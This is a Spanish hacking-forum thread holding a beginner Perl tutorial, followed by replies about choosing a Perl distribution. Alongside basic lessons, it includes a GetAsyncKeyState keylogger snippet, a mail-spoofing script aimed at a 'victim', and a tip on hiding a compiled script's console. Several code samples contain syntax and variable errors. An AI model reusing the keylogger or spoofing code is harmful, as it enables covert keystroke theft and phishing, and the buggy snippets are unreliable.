• Inicio
  • Buscar
  • Ingresar
  • Registrarse

    Starfield: el juego que revolucionará el espacio y la tecnología

    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • Perl »
    • [Guia] Perl Forever
    • Imprimir
    Páginas: [1] 2 3   Ir Abajo

    Autor Tema: [Guia] Perl Forever  (Leído 17514 veces)

    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    [Guia] Perl Forever
    « en: Mayo 02, 2011, 01:36:35 am »
    [Guia] Perl Forever


    [Titulo] : Perl Forever
    [Autor] : Doddy Hackman


    [Temario]

    --========================================================--

    0x01 : Introduccion
    0x02 : Variables y el poder de print
    0x03 : Variables argumentales
    0x04 : Arrays
    0x05 : Hashes
    0x06 : Concatenacion
    0x07 : Comentarios
    0x08 : Entradas de teclado
    0x09 : Expresiones regulares
    0x10 : Tipos de condiciones
    0x11 : if - else
    0x12 : elsif
    0x13 : while
    0x14 : do - until
    0x15 : for
    0x16 : unless
    0x17 : split
    0x18 : Funciones
    0x19 : Listar directorios y manejo de archivos
    0x20 : Sockets
    0x21 : Interactuar con la web
    0x22 : Descarga de archivos
    0x23 : Creando un cliente FTP
    0x24 : Creando un keylogger en Perl
    0x25 : Listar procesos de Windows
    0X26 : Envio de mails en Perl
    0x27 : perl2exe
    0x28 : Bibliografia


    --======================================================--




    0x01 : Introduccion


    Hola a todos.

    Estoy haciendo esta guia sobre perl con los pocos conocimientos que tengo
    del mismo todo para inspirar a que mas personas usen perl para propositos diabolicos
    Si ven cpan veran que muchos usan perl y ofrecen variados modulos
    para cualquier necesidad.
    Cabe destacar que mis conocimientos son basicos , por eso uso mas ejemplos que teoria ademas
    de no usar un lenguaje tecnico del mismo xDDD

    Para ejecutar un script en perl , necesitan active perl si estan en win32 , si estan
    en linux este viene por defecto

    En el caso de windows , si tenemos el script de perl a ejecutar en un directorio como este

    Código: [Seleccionar]
    c:/scripts

    Lo que tenemos que hacer es usar el comando cd de la siguiente manera

    Código: [Seleccionar]
    cd c:/scripts

    Como ya estamos en el directorio de los scripts  usamos el comando
    perl para cargar el script , el comando perl solo esta cuando ya tenemos perl instalado , pues
    este no aparece por accion divina

    Código: [Seleccionar]
    perl simple.pl

    Con esto lo cargariamos , pero no pasara nada al menos que el archivo simple.pl
    tengo algo que no sea nada.
    Entonces creamos el archivo simple.pl , para que la extension sea de pl (extension de perl) deben poner la opcion
    de "todos los archivos" en el formulario de la creacion de un archivo en notepad

    Antes de crearlo debes poner como contenido un simple print

    Código: [Seleccionar]
    print "hola mundo";

    Volvemos a cargar simple.pl y veremos un hola mundo.


    En el caso de linux

    Perl viene instalado por defecto y en el contenido siempre debe tener
    esto al inicio del script de lo contrario nunca andaria

    #!usr/bin/perl

    Despues el tipico hola mundo en el contenido y listo.


    0x02 : Variables y el poder de print

    Si queremos declarar una variable seria asi

    Código: [Seleccionar]
    $hola = "hola";

    Como ven , para declarar una variable usamos $ y despues el nombre
    de la variable , luego usamos el = para poder definir lo que va a contener
    la variable $hola , todo el contenido de la variable lo marcamos con comillas

    Para poder mostrar la variable seria asi

    Código: [Seleccionar]
    print $hola

    Tambien se puede asi

    Código: [Seleccionar]
    print "hola $hola";

    La variable se mostraria igual pero habria un problema si usaramos
    comillas simples en vez de dobles

    Código: [Seleccionar]
    print 'hola $hola';

    Pues las variable $hola no se mostraria

    Esa es la diferencia entre comillas simples y comillas dobles .

    0x03 : Variables argumentales

    La variables argumentales son las tipicas que usan en los exploits
    Un ejemplo de como usar las variables argumentales seria asi

    Código: [Seleccionar]
    my $hola = $ARGV[0];

    print $hola;

    Entonces si ejecutamos el  script estilo

    Código: [Seleccionar]
    perl script.pl hola

    Nos devolveria hola

    Si queremos poner dos variables argumentales  seria  asi

    Código: [Seleccionar]
    my $hola1 = $ARGV[0];
    my $hola2 = $ARGV[1];

    print $hola1 $hola2\n";

    Entonces si ejecutamos el script de la sig forma

    Código: [Seleccionar]
    perl script.pl hola hola

    El script nos devolveria "hola hola"

    Como ven si queremos seguir  usando variables argumentales solo le deberiamos
    sumar uno y listo

    En el caso de tres variables argumentales

    Código: [Seleccionar]
    my $hola1 = $ARGV[0];
    my $hola2 = $ARGV[1];
    my $hola3 = $ARGV[2];

    print $hola1 $hola2 $hola3\n";

    La ejecucion del script seria asi

    Código: [Seleccionar]
    perl script.pl hola hola hola

    Un triple hola como respuesta del script

    0x04 : Arrays

    Los arrays son muy utiles cuando se tiene una lista de datos y los queremos
    ver de un forma comoda.
    Cuando se declara un array se pone una @ y despues el nombre del array
    Despues se pone un igual para establecer los datos que esta va a tener como en este ejemplo

    Código: [Seleccionar]
    my @vida = ("nada","nada");

    Se pueden usar comillas simples como dobles

    Para poder mostrarlos a todos seria usando for de la sig forma

    Código: [Seleccionar]
    for my $d(@vida) {
    print $d."\n";
    }

    Como ven usamos for para abrir el array y mostrar cada dato mediante
    la variable $d

    Los arrays se pueden ver tambien por numero de orden empezando desde el 0

    Código: [Seleccionar]
    print @vida[0];  #muestra nada
    print @vida[1]; #muestra el segundo dato que tambien es nada

    Tambien se pueden mostrar de una de la sig forma

    Código: [Seleccionar]
    print @vida;

    0x05 : Hashes

    Los hashes son un tipo de array , el cual esta compuesto por claves que tiene valores ,
    esto es util para cuando se requiere cierta informacion sobre un dato

    Los hashes se declaran usando un % y despues el nombre del hash

    Un ejemplo de hash seria esto

    Código: [Seleccionar]
    %vida = (
    Doddy => "Idiota",
    Hackman => "Patetico"
    );

    Como ven es parecido a los arrays , pero con la poderosa diferencia
    de poder establecer una clave (Doddy) y un valor a ella (Idiota)

    Si queremos mostrar todo el contenido de un hash seria algo asi:

    Código: [Seleccionar]
    for my $data(keys %vida) {
    print "$data es un ".$vida{$data}."\n";
    }

    Obviamente abrimos el hashes usando keys , despues mostramos los keys
    con la variable $data , despues mostramos los values usando el hash como una variable
    normal y encerrando entre corchetes la variable $data que en realidad son las keys que se van
    mostrando

    Como resultado a esta complicacion insensata y aburrida nos devuelve

    Código: [Seleccionar]
    Doddy es un Idiota
    Hackman es un Patetico

    0x06 : Concatenacion

    La concatenacion se puede usar cuando queremos unir dos variables
    Realizar esto se puede hacer de esta forma

    Tenemos dos variables

    Código: [Seleccionar]
    $hola = "hola";
    $chau = "chau";

    Si queremos unir las dos variables seria usando un "." entre las dos

    Código: [Seleccionar]
    $todo = $hola.$chau;
    print $todo;

    Como ven el resultado de esto se guarda en la variable todo para despues
    mostrarla

    La concatenacion tambien se puede usar cuando estamos con print

    Un ejemplo seria este

    Código: [Seleccionar]
    print $hola." estoy bien pero bueno ".$chau;

    Devuelve

    Código: [Seleccionar]
    hola estoy bien pero bueno chau

    Como ven se muestran las variables sin ningun problema

    0x07 : Comentarios

    Los comentarios en perl se pueden usar con #

    Un ejemplo seria

    Código: [Seleccionar]
    #hola

    Si en un script real los usamos seria algo asi

    Código: [Seleccionar]
    #simple hola
    print "hola";

    Un comentario sirve para dar un comentario xDD , asi van poder dar explicaciones de en que
    parte del script esta o que esta por hacer, tambien lo podemos poner al costado del print

    Código: [Seleccionar]
    print "hola"; #simple hola en el lado derecho

    Pero nunca al lado izquierdo porque el print nunca seria leido

    0x08 : Entradas de teclado

    Esto nos sirve para usar un programa interactivo para el usuario
    , en ejemplo de un simple menu seria asi

    Código: [Seleccionar]
    print "estas bien :";
    $rta = <stdin>;

    print $rta;

    Como ven , capturamos lo que el usuario respondio a la pregunta con
    <stdin> y lo guardamos en la variable $rta para despues imprimirla

    Tambien podemos usar chop() y chomp()

    Con chop() podemos eliminar el ultimo caracter un ejemplo seria asi

    Código: [Seleccionar]
    $hola = "hola";
    chop($hola);
    print $hola

    Esto nos devolveria

    Código: [Seleccionar]
    hol

    Con chomp() podemos hace lo mismo y nos devuelve el numero de caracteres
    que se han eliminado

    Código: [Seleccionar]
    print "estas bien : ";
    $c = <stdin>;
    $test = chomp $c;
    print $test;

    Esto nos devolveria 1
       
    0x09 : Expresiones regulares

    Las expresiones regulares sirven mucho para buscar cierta informacion
    en una variable
    Entonces tenemos el siguiente ejemplo

    Código: [Seleccionar]
    my $code = "hola estoy bien";

    Si queremos usar expresion regular para saber que hay entre hola y bien podriamos hacer de esta forma

    Código: [Seleccionar]
    if ($code=~/hola (.*) bien/ig) {
    print $1;
    }

    Entonces si nos ponemos a analizar el codigo podemos ver que
    usamos (.*) para sacar cualquier cosa que haya entre hola y bien
    Tambien usamos i y g al final de la barra que indica lo que estamos buscando
    que sirven para

    i : Detecta la palabra en la forma en la que esta , minuscula o mayuscula
    g : busca alrededor del texto

    Cuando la expresion regular tiene exito podemos sacar el resultado que hay entre (.*) con $1 , en el caso
    de que hubiera dos (.*) y el resultado del segundo es el que queremos deberias usar
    $2 para sacar lo que queremos.

    (.*) : Sirve para buscar cualquier coincidencia que haya , pues hay otras formas en vez de usar este
    Pero como estoy dando lo basico no lo vamos a ver

    0x10 : Tipos de condiciones

    Para poder usar if y las otras funciones de control , debemos tener
    en cuenta los tipos de condiciones , hay dos , las variables numericas
    estrictas y las que pueden estar compuestas por caracteres alfanumericos

    Los primeros son

    ==  : iGUAl
    != : Diferente
    < : menor
    > : mayor
    >= : mayor o igual
    <= : menor o igual

    Los segundos son

    eq : igual
    ne : diferente
    lt : menor
    gt : mayot
    ge : mayor o igual
    le : menor o igual

    0x11 : if - else

    Una forma de controlar el script seria con if y else

    Tenemos dos variables

    Código: [Seleccionar]
    $hola = "hola";
    $hola1 =  "hola";

    Una forma de controlar que las dos sean iguales seria asi

    Código: [Seleccionar]
    if ($hola1 == $hola) {
    print "bien";
    } else {
    print "mal";
    }

    Como ven , controlamos que las dos variables sean iguales mediante ==
    Si estas no son iguales nos mostraria "mal" que es la parte de else
    .

    Otra forma sin usa == seria usando eq

    Código: [Seleccionar]
    if ($hola1 eq $hola) {
    print "bien";
    } else {
    print "mal";
    }

    Lo mismo pero en vez de usar == uso eq

    eq y == sirven para verificar que dos variables sean iguales

    0x12 : elsif

    Para controlar que una variable puede ser varias cosas podemos usar
    elsif

    Un ejemplo seria

    Tenemos una variable llamada uno con el valor de 1

    Código: [Seleccionar]
    $uno = "1";

    if ($uno eq "1") {
    print "es uno";
    }
    elsif ($uno eq "2") {
    print "es dos";
    }
    elsif ($uno eq "3") {
    print "es tres";
    }
    else {
    print "es nada";
    }

    Como ven verificamos que que uno sea 1 , si lo es , muestra es uno,
    despues usamos elsif para verificar que sea 2 o tres , de lo contrario
    si no es nada , muestra es nada.

    0x13 : while

    Si queremos controlar que cierta cosa este ocurriendo de una forma
    podemos usar while()
    Su uso es simple , un ejemplo de uso seria este

    Tenemos una variable

    Código: [Seleccionar]
    my $numero = "0";

    Que pasa si el numero aumenta y queremos controlar que solo llegue hasta 3

    Entonces es el momento de usar a while de la sig forma

    Código: [Seleccionar]
    while ($numero < 3) {

    $numero++; #Aumenta el numero

    print "voy bien\n";

    }

    Si ejecutamos esto veremos que se imprimen tres veces "voy bien"
    Funciono !!!

    Entonces que pasa si queremos crear una bucle infinito

    Seria algo asi

    Código: [Seleccionar]
    while(true) {
    #Nunca morire
    }

    Esto ocurrira siempre , porque while verificara que siempre sea true xDDD

    0x14 : do - until

    Bueno , que pasa si queremos que cierta cosa pase hasta cierta condicion
    Es la hora de usar do y until

    Un ejemplo seria

    Código: [Seleccionar]

    my $numero = 0;

    do {

    $numero++;

    print $numero."\n";

    } until ($numero eq "3");

    Entonces , si vemos el codigo , nos damos cuenta de que primero
    declaramos la variable $numero con el valor de 0

    Para que despues usando do , el numero aumento infinitamente hasta que
    until detecte que el numero sea 3

    Como resultado el script solo devolvera

    Código: [Seleccionar]
    1
    2
    3

    0x15 : for

    Que pasa si queremos que una accion ocurra una cierta cantidad de veces
    entonces es cuando usamos la funcion for()
    Esta funcion nos permite abrir arrays como recorrer numeros

    Si queremos abrir un array seria asi

    Código: [Seleccionar]
    for my $palabra(@total) {
    print $palabra."\n";
    }

    Entonces abrimos el array @total y vamos recorriendolo mostrando cada dato
    con la variable $palabra.

    Tambien si queremos recorrer numeros seria asi

    Código: [Seleccionar]
    for my $numero(1..100) {
    print $numero."\n";
    }

    Entonces recorremos todos los numeros del 1 al 100 y los vamos mostrando
    con la variable $numero

    Si queremos que una accion ocurra 30 veces podriamos hacer asi

    Código: [Seleccionar]
    for (1..30) {
    print "hola";
    }

    Entonces , en el codigo hacemos que se impriman 30 veces la palabra hola


    Tambien podemos usar foreach() que nos tambien para abrir y mostrar arrays

    Código: [Seleccionar]
    foreach $word(@words) {
    print $word."\n";
    }

    Es simple abrimos el array y vamos mostrando cada dato mediante la variable
    $word.

    0x16 : unless

    Tambien tenemos a unless , se encargar de verificar justamente todo
    lo contrario de if

    Un ejemplo seria

    Código: [Seleccionar]
    $uno = "1";

    unless ($uno eq "1") {
    print "no es uno";
    }

    Confuso ? , no es facil verifica justamente que $uno no sea uno , justamente
    lo contrario que if.

    0x17 : split

    Que pasa , si queremos  sacar un ":" de una variable
    Es cuando podemos usar a split

    Tenemos la tipica variable

    Código: [Seleccionar]
    my $pa = "hola:chau";

    Si queremos separar esas dos palabra podemos usar split

    Seria algo asi

    Código: [Seleccionar]
    @todo = split(":",$pa);
    print "@todo[0] y @todo[1]\n";

    Como ven este script nos devuelve

    Código: [Seleccionar]
    hola y chau

    Si vemos el codigo nos damos cuenta de que usamos la funcion split
    para primero poner el ":" que queremos sacar y como segundo ponemos
    la variable a la queremos separar
    Todo esta funcion se guarda en la variable @todo donde despues la mostramos
    como un array cualquiera , claro que esta vez mostramos por posicion de array y no lo
    mostramos todo.

    Si no entendieron bien como quedo el array miren este ejemplo

    Código: [Seleccionar]
    @todo = ("hola","chau");

    "hola" esta en la posicion 0 porque es la primera en el array y "chau"
    como la primera "1"

    0x18 : Funciones

    Las funciones se pueden usar cuando estamos haciendo una accion repetidamente
    Con una funcion podriamos hacer esa accion en una sola vez y reducir codigo
    Un ejemplo seria

    Código: [Seleccionar]
    sub hola {
    print $_[0];
    }

    hola("hola");

    Como ven , una funcion comienza con el sub , despues con el nombre del funcion
    y finalmente con los corchetes    que indican cuando empiezan y cuando terminan

    Las funciones pueden ser llamadas de dos formas :

    Código: [Seleccionar]
    hola("hola");
    &hola("hola");

    Depende de cada uno como las quiere usar.

    Para enviar datos  a una funcion cuando se la llama, se debe en encerrar
    entre parentesis  como en el ejemplo anterior que estamos enviando un hola

    En la funcion recibimos lo enviado con $_[0] y lo imprimimos

    Si hubieran habido dos datos enviados y se espera que la funcion devuelva dos datos seria asi

    Código: [Seleccionar]
    sub hola {
    return ($_[0],$_[1]);
    }

    $var1,$var2 = hola("hola","chau");

    Como ven en el ejemplo anterior , usamos return para enviar datos como
    respuesta.
    Los datos enviados fueron $_[0] y $_[1] , esto es porque fueron dos variables , si hubiesen sido tres

    Código: [Seleccionar]
    $_[0] ,$_[1],$_[2]  # Se cuenta a partir del cero

    Entonces la funcion nos devuelve con lo que le enviamos.

    Para poder ver los datos que la funcion nos devuelve uso dos variables , para guardar los datos que nos devuelve
    Si hubiese sido un dato solo uso una variable antes del igual

    0x19 : Listar directorios y manejo de archivos

    Bien , si queremos listar un directorio y ver sus archivos seria algo asi

    Primero abrimos el directorio "/" usando la variable DIR como clave para poder seguir haciendo cosas

    Código: [Seleccionar]
    opendir DIR,"/";

    Guardamos en un array el listado

    Código: [Seleccionar]
    my @archivos = readdir DIR;

    Cerramos el directorio para no seguir usandolo

    Código: [Seleccionar]
    close DIR;

    Ahora abrimos el array y mostramos mediante la variable $files todo lo que haya encontrado en el listado

    Código: [Seleccionar]
    for my $files(@archivos) {

    }

    Si queremos saber si es un directorio o un archivo tendriamos que poner esto entre los corchetes del for

    Código: [Seleccionar]
    if (-f $files) { #Verificamos que sea un archivo
    print "[Files] : $files\n";
    }

    if (-d $files) { #Verificamos que sea un directorio
    print "[DIR] : $files\n";
    }

    Si queremos cambiar de directorio simplemente usamos un chdir()

    Código: [Seleccionar]
    chdir("C:/xampp");

    Y listo , solo ponemos entre parentesis , usando comillas simples o dobles , el nombre del directorio al que nos
    queremos cambiar

    Una cosa no muy novedosa en perl es el manejo de archivos ...

    Si queremos crear un archivo en el directorio actual de script debemos
    hacer asi

    Código: [Seleccionar]
    open (FILE,">>"."yo.txt");

    "FILE" es esencial para poder tener contacto en el archivo creado

    Para escribir en el archivo podemos usar un print y la variable FILE

    Código: [Seleccionar]
    print FILE "hola";

    Entonces el archivo creado tendra hola en el su contenido

    Para cerrar el archivo porque si el script sigue ejecutandose el archivo no podra
    ser ejecutado de forma normal

    Entonces cerramos el archivo de la siguiente forma

    Código: [Seleccionar]
    close FILE;

    Si queremos leerlo seria asi de facil

    Solo ponemos la ruta del archivo a leer y ponemos LEER para poder tener contacto con el archivo

    Código: [Seleccionar]
    open (LEER,"yo.txt)";

    Usamos un array para leer todo lo que hay en el archivo

    Código: [Seleccionar]
    @text = <LEER>;

    Cerramos el archivo

    Código: [Seleccionar]
    close FILE;

    Si queremos leer el archivo usariamos un for my y listo

    Código: [Seleccionar]
    for my $word(@text) {
    print $word."\n";
    }

    Si odiamos el archivo y queremos borrarlo hacemos esto

    Código: [Seleccionar]
    unlink("yo.txt");

    En la funcion unlink() ponen entre comillas la ruta del archivo a eliminar

    0x20 : Sockets

    Bien , en perl tambien podemos usar sockets de una forma muy sencilla

    Con el modulo

    Código: [Seleccionar]
    IO::Socket

    Podemos establacer conexiones con el puerto que nos venga en gana

    Primero llamamos al modulo con use

    Código: [Seleccionar]
    use IO::Socket;

    Para usar esto primero tenes que crear un objeto con la variable $socket

    Código: [Seleccionar]
    my $socket = IO::Socket::INET->new(
    PeerAddr=>"localhost", #Host donde conectarnos
    PeerPort=>"80", #Puerto donde bla bla
    Proto=>"tcp"); #Protocolo que queremos

    Ahora que el objecto esta creado podemos comenzar a usar las funciones
    de este modulo.

    Con print mandamos los datos que queremos enviar al servidor que estamos conectados de la sig forma

    Código: [Seleccionar]
    print $socket "GET /"."\r\n";

    Usamos \r\n para marcar el fin de los datos a enviar sino ponemos esto
    al final siempre se va a tildar la maquina de ustedes porque no marcaron el final

    Bien , para ver lo que el host nos respondio podemos hacer de esta forma

    Código: [Seleccionar]
    read $socket,$total,"1000";

    print $total;

    En la variable $total tenemos la respuesta para despues imprimirla.

    0x21 : Interactuar con la web

    Para interactuar con la web podemos usar dos modulos

    LWP::UserAgent
    HTTP::Request::Common

    Primer los llamamos con use

    Código: [Seleccionar]
    use LWP::UserAgent;
    use HTTP::Request::Common;

    Despues creamos el objeto necesario para usar las funciones del modulo mediante la variable $nave

    Código: [Seleccionar]
    my $nave = LWP::UserAgent->new();

    Establecemos un timeout

    Código: [Seleccionar]
    $nave->timeout(5);

    Establecemos el agente que vera la pagina a la que entramos

    Código: [Seleccionar]
    $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

    Establemos la pagina a la que queremos navegar con la variable $web

    Código: [Seleccionar]
    my $web = "http://www.google.com.ar";

    Realizamos la peticion GET y guardamos el contenido en la variable $contenido

    Código: [Seleccionar]
    my $contenido = $nave->request (GET $web)->content;

    Mostramos el contenido

    Código: [Seleccionar]
    print $contenido;

    0x22 : Descarga de archivos

    Una cosa interesante de perl es la descarga de archivos tan simple

    Con el modulo

    LWP::Simple

    Podemos hacer descarga con la funcion getstore()

    Un ejemplo de esto seria esto

    Primero llamamos al modulo

    Código: [Seleccionar]
    use LWP::Simple;

    Despues le ponemos las variables necesarias a los argumentos

    Código: [Seleccionar]
    my ($url,$file) = ($ARGV[0],$ARGV[1]);

    Despues comenzamos la descarga de la siguiente forma

    Código: [Seleccionar]
    print "[+] Start the download\n";

    if (getstore($url,$file)) {
    print "[+] Oh Right\n";
    } else {
    print "[+] Fail\n";
    }

    Simple , muy simple , entonces si el archivo se descarga nos mostrara
    oh right  de lo contrario fail

    0x23 : Creando un cliente FTP

    Que pasa si queremos crear un cliente FTP en perl , se puede no se puede , pues se puede xDDD

    Todo gracias al modulo

    Net::FTP

    Asi que es hora de empezar

    Primero llamamos al modulo

    Código: [Seleccionar]
    use Net::FTP;

    Despues declaramos las variables

    Código: [Seleccionar]
    $ftp = "localhost";
    $user = "yo";
    $pass = "si";

    Despues verificamos que toda la conexion sea exitosa

    Código: [Seleccionar]
    if (my $socket = Net::FTP->new($ftp)) {
    if ($socket->login($user,$pass)) {
    #Todo marcha muy bien xDD
    }
    }

    Como vemos si la conexion es exitosa tendremos el poder con la variable
    $socket.

    Entonces vamos hacer un pequeño menu de la siguiente forma

    Código: [Seleccionar]
    menu:

    print "comando : ";
    chomp(my $comando = <stdin>);

    if ($comando=~/cd (.*) {
    $socket->cwd($1); #Cambiamos al directorio que la expresion regular marca
    }

    if ($comando=~/pwd/) {
    print $socket->pwd(); #mostramos el directorio actual
    }

    goto menu;

    Con eso tendriamos un cliente basico.

    Ustedes se encargaran de poner las funciones que les dicte su corazoN xD

    0x25 : Listar procesos de Windows

    El otro dia encontre un modulo muy groso en perl para poder usar
    procesos como me venga en gana
    El modulo se llama

    Código: [Seleccionar]
    Win32::Process::List

    Si tienen perl y lo quieren instalar hagan asi con el comando ppm

    Código: [Seleccionar]
    ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd

    Ahora es cuando comienza la fiesta xDDD

    Primero llaman al modulo con "use"

    Código: [Seleccionar]
    use Win32::Process::List;

    Despues con la variable $new creamos lo necesario para poder llamar
    a la funcion GetProcesses().
    El resultado de la funcion anterior la devolvemos en un odioso hash llamado
    %process


    Código: [Seleccionar]
    my $new = Win32::Process::List->new(); 
    my %process = $new->GetProcesses();

    Ahora vamos a listar los procesos con sus condenados PID

    Código: [Seleccionar]
    for my $pid (keys %process) {
    print "[+] PrOCESO : ".$process{$pid}."\n";
    print "[+] PID: ".$pid."\n\n";
    }

    Si todo salio bien veremos los procesos de nuestra maquina con el PID de aca uno


    Facil ¿No??

    0x24 : Creando un keylogger en Perl

    Algo muy bueno de perl , es el uso de las API de windows xDD
    Si queremos hacer un keylogger , seria asi de facil
    Basado en mi keylogger perlero llamado keycagator

    Primero llamamos al modulo necesario

    Código: [Seleccionar]
    use Win32::API;

    Despues creamos lo necesario para poder usar las funciones del modulo
    divino.

    Como vieron hacemos contacto con user32 y el famoso GetAsyncKeyStat de una forma muy sencilla
    guardando todo con la variable $test

    Código: [Seleccionar]
    my $test = new Win32::API("user32", "GetAsyncKeyState","N", "I");

    Ahora creamos un loop infinito de la siguiente forma

    Código: [Seleccionar]
    while(true) {
    #Nada me detiene ni me destruye ¿No? xDDD
    }

    Ahora lo interesante capturamos las letras y los numeros

    Código: [Seleccionar]
    for my $num(0x30..0x39) { #Numeros
    if (toma($num)) {
    print chr($num);
    }
    }

    for my $num(0x41..0x5A) { #letras
    if (toma($num)) {
    print chr($num);
    }
    }

    sub toma {
    return($come->Call(@_) & 1);
    }

    De una forma breve capturamos infinitamente todo lo que teclado envia , la funcion
    toma nos tira las teclas pulsadas (codificadas) y es comparado con los numeros raros que
    vemos en el for, si los numeros coinciden con lo que la funcion toma no tira , pues , hemos encontrado
    la letra o numero

    xDDDDDD

    Simple ¿No?

    0X26 : Envio de mails en Perl

    Si queremos enviar mails con perl y no sabemos como , pues eh aqui la solucion.

    En perl podemos usar un modulo llamado

    Código: [Seleccionar]
    Net::SMTP

    Entonces ah programar xDD

    Primero llamamos el modulo

    Código: [Seleccionar]
    use Net::SMTP;

    Despues creamos cuestionario donde nos pida los datos

    Código: [Seleccionar]
    print "[+] Your Mail :";
    chomp(my $mail = <stdin>);

    print "[+] Victim : ";
    chomp(my $target = <stdin>);

    Ahora creamos lo necesario para poder usar las funciones del modulo

    Código: [Seleccionar]
    my $send = Net::SMTP->new("localhost",Hello => "localhost",Timeout=>10) or die("[-] Error");

    Con la variable $send llamo al funcion mail() para poner mi email falso

    Código: [Seleccionar]
    $send->mail($mail);

    Nuevamente llamamos a otra funcion llamada to() para poner mi target

    Código: [Seleccionar]
    send->to($target);   


    Ahora lo mas importante el contenido del mensaje

    Aunque no hay mucho que decir solo abrimos el contenido y ponemos los datos que seran enviados en el mensaje
    Con el asunto de hola y el contenido de chau xDD

    Código: [Seleccionar]
    $send->data();
    $send->datasend("To:".$target."\n"."From:".$mail."\n"."Subject:"."Hola"."\n"."Chau"."\n\n");
    $send->dataend();

    Luego cerramos la conexion con el servidor SMTP

    Código: [Seleccionar]
    $send->quit(); 

    Creo que eso seria todo , otra cosa necesitan un servidor SMTP para que realmente funcione xDD

    0x27 : perl2exe

    Si queremos compilar nuestro script en perl , para poder usarlo
    en cualquier maquina como un exe cualquiera sin necesidad de que tenga instalado perl
    Podriamos usar perl2exe
    Simplemente lo buscan en google y les aparece , hay cada uno para cada version de perl
    Una vez lo tengan , ejecutamos perl2exe en un consola
    Su uso es simple , si queremos compilar un script simplemente ponen el nombre

    Código: [Seleccionar]
    perl2exe script.pl

    Si queremos esconderle la consola al script por un motivo cualquiera

    Código: [Seleccionar]
    perl2exe -gui script.pl

    0x28 : Bibliografia

    Curso de perl by vengador de las sombras
    perl a dolor (primera edicion) by ka0s



    --================---
    ¿ The End ?
    --================---

    « Última modificación: Febrero 28, 2012, 01:26:48 am por Doddy »
    En línea

    miyamoto340

    • Visitante
    Re:[Guia] Perl Forever
    « Respuesta #1 en: Julio 26, 2011, 11:31:45 am »
    Buen aporte, no encontraba un manual breve conciso y fácil de entender.
    Salu2
    En línea

    Desconectado overload

    • { L7 } Juanker
    • *******
    • Mensajes: 1147
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #2 en: Julio 26, 2011, 12:07:53 pm »
    Muy bueno tenia ganas de aprender otro lenguaje de script aparte de python xD

    Saludos
    En línea



    https://twitter.com/#!/overload_hxc
    http://www.overload-blog.blogspot.com

    Desconectado Neutron

    • { L6 } Flooder del foro
    • ******
    • Mensajes: 833
    • Sea humilde.
      • Ver Perfil
      • Say what again?
    Re:[Guia] Perl Forever
    « Respuesta #3 en: Febrero 28, 2012, 12:28:18 am »
    Gracias por el tuto, pero tengo una interrogante.... Donde esta el capitulo 0x24 : Creando un keyloger???  :-\

    Btw, tengo el tuto en un pdf para leerlo luego, si alguien quiere que le pase algun link que hable.
    En línea
    Solo la verdad puede hacerte libre, pero esa verdad se llama Jesus. Vease Juan 11:25.

    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #4 en: Febrero 28, 2012, 01:28:28 am »
    ja , no me habia dado cuenta , ya agregue el capitulo perdido de mi guia xDD.

    gracias por el aviso Neutron.
    En línea

    Desconectado The_GanGsTar

    • { L4 } Geek
    • ****
    • Mensajes: 391
    • Me gustan los panqueques
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #5 en: Marzo 01, 2012, 10:44:00 pm »
    Justo lo que buscaba Gracias!
    En línea

    Desconectado kid_goth

    • { L7 } Juanker
    • *******
    • Mensajes: 1456
    • El Conocimiento se Limita Cuando dices NO PUEDO
      • Ver Perfil
      • BlogStudiantes
    Re:[Guia] Perl Forever
    « Respuesta #6 en: Marzo 08, 2012, 12:42:53 am »
    revivamos el post xD.... esta muy buena la guia de verdad me gustan asi directas y consisas sin tanta damier  ::) pero ahora tengo una preguntilla, Cuando voy a descargar perl para windows me da dos opciones Strawberry perl y Active Perl, cual es la diferencia y cual es mas recomendable?

    Saludos
    En línea
    Cuando la percepción de vida que tienes encuentra en si que la muerte es inevitable y lo aceptas con humildad y agrado, es cuando realmente empiezas a amar la vida y adorar la muerte.






    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #7 en: Marzo 08, 2012, 01:31:26 am »
    yo no puedo recomendarte porque siempre eh usado Active Perl 5.8
    En línea

    Desconectado The_GanGsTar

    • { L4 } Geek
    • ****
    • Mensajes: 391
    • Me gustan los panqueques
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #8 en: Marzo 08, 2012, 01:47:52 am »
    Mira yo uso active perl y esta bien osea no probe el otro pero digamos q funciona bien, sin problemas!
    Ademas creo q es mas famoso, active.
    salu2
    En línea

    Desconectado kid_goth

    • { L7 } Juanker
    • *******
    • Mensajes: 1456
    • El Conocimiento se Limita Cuando dices NO PUEDO
      • Ver Perfil
      • BlogStudiantes
    Re:[Guia] Perl Forever
    « Respuesta #9 en: Marzo 08, 2012, 04:38:53 pm »
    mmmmm pos me lance a usar strawberry y da lo mismo compila igual xD, aparte de que en la web de descarga dice "When i'am on windows, i use strawberry perl -- Larry Wall" jejejeje igual seguire probando, no se seria bueno checarlo bien pero apenas toy empezando igual dejo lo que dicen...

    "Strawberry Perl is a perl environment for MS Windows containing all you need to run and develop
    perl applications. It is designed to be as close as possible to perl environment on UNIX systems.

    It includes perl binaries, compiler (gcc) + related tools, all the external libraries (crypto, graphics, xml...),
    all the bundled database clients and all the fresh CPAN goodness that you expect from Strawberry Perl."


    Traducido por Google (arreglado por mi)
    Strawberry Perl es un entorno de perl para MS Windows que contiene todo lo necesario para
    ejecutar y desarrollar aplicaciones de Perl. Se ha diseñado para ser lo más cerca posible al ambiente perl
    en sistemas UNIX.

    Incluye binarios perl, compilador (gcc) + las herramientas relacionadas, todas las bibliotecas externas
    (Crypto, gráficos, XML ...), todos los paquetes de base de datos los clientes y toda la bondad fresca
    CPAN que usted espera de Strawberry Perl.


    Saludos
    « Última modificación: Marzo 08, 2012, 04:43:33 pm por kid_goth »
    En línea
    Cuando la percepción de vida que tienes encuentra en si que la muerte es inevitable y lo aceptas con humildad y agrado, es cuando realmente empiezas a amar la vida y adorar la muerte.






    • Imprimir
